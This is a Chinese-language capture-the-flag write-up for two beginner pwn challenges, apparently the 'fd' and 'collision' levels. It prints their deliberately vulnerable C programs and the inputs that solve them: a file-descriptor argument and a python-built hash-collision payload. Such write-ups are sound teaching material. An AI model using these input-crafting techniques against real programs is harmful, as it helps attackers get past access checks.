##PWN001ssh [email protected] -p2222 (pw:guest)送分题#include <stdio.h>#include <stdlib.h>#include <string.
##PWN001ssh [email protected] -p2222 (pw:guest)
送分题
#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ //接收参数，当参数不存在时，返回请输入参数 if(argc<2){ printf("pass argv[1] a number/n"); return 0; } //将参数从char*转换为int值减去0x1234 int fd = atoi( argv[1] ) - 0x1234; int len = 0; //从fb指针开始往后读32个字节的字符并存于buf中 len = read(fd, buf, 32); //拷贝字符，当buf中的字符与LETMEWIN/n相同时，输出flag并退出程序 if(!strcmp("LETMEWIN/n", buf)){ printf("good job :)/n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO/n"); return 0;}那么我们的fb指针肯定要指向0x000开始，所以我们需要把fd置空，计算器算一下
输入指令
./fd 4660然后输入LETMEWIN
GET FLAG
PWN002
ssh [email protected] -p2222 (pw:guest)取得代码
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <iostream>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char *p) { int *ip = (int *) p; int i; int res = 0; for (i = 0; i < 5; i++) { std::cout<<ip[i]<<std::endl; res += ip[i]; } return res;}int main(int argc, char *argv[]) { if (argc < 2) { printf("usage : %s [passcode]/n", argv[0]); return 0; } std::cout<<argv[1]<<std::endl; if (strlen(argv[1]) != 20) { printf("passcode length should be 20 bytes/n"); return 0; } if (hashcode == check_password(argv[1])) { system("/bin/cat flag"); return 0; } else printf("wrong passcode./n"); return 0;}调试结果试试
11111111111111111111得出
查了查ASCLL表刚好字符'1'的hex是/31/31/31对应的10进制为825307441
里面的
21DD09EC计算器计算的结果如下
568134124而res的值恰好为这些数字相加，也就是说，这个hashcode的结果为这些数相加的整数和
上python构造
/x01/x01/x01/x01 + /x01/x01/x01/x01 + /x01/x01/x01/x01 + /x01/x01/x01/x01 + /x1D/xD9/x05/xE8管道执行col.exe(linux下直接是col)
./col $(python -c 'print "/xE8/x05/xD9/x1D" + 16*"/x01"') #调用python执行输入到./col中
